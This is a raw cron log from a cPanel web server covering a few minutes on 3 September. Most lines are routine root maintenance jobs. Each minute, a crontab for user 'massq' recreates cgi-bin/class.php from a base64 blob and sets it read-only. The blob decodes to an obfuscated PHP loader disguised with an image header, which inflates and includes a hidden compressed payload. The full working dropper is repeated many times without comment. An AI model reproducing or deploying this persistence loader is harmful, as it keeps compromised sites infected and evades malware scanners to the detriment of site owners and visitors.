Sep  3 21:16:01 server CROND[30747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:17:01 server CROND[31160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:17:01 server CROND[31161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:17:01 server CROND[31162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:18:01 server CROND[31598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:18:01 server CROND[31599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:18:01 server CROND[31600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:19:01 server CROND[31964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:19:01 server CROND[31966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:19:01 server CROND[31965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:20:01 server CROND[32349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:20:01 server CROND[32348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:20:01 server CROND[32352]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:20:01 server CROND[32366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:20:01 server CROND[32368]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:20:01 server CROND[32369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:20:01 server CROND[32370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:20:01 server CROND[32372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:20:01 server CROND[32371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:21:01 server CROND[939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:21:01 server CROND[940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:21:01 server CROND[941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:22:01 server CROND[1412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:22:01 server CROND[1414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:22:01 server CROND[1413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:23:01 server CROND[1805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:23:01 server CROND[1806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:23:01 server CROND[1807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:24:01 server CROND[2237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:24:01 server CROND[2238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:24:01 server CROND[2239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:25:01 server CROND[2642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:25:01 server CROND[2644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:25:01 server CROND[2649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:25:01 server CROND[2648]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:25:01 server CROND[2650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:25:01 server CROND[2646]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:25:01 server CROND[2647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:26:01 server CROND[3584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:26:01 server CROND[3585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:26:01 server CROND[3587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:27:01 server CROND[3974]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:27:01 server CROND[3973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:27:01 server CROND[3975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:27:01 server CROND[3976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:28:01 server CROND[4346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:28:01 server CROND[4348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:28:01 server CROND[4347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:29:01 server CROND[4728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:29:01 server CROND[4729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
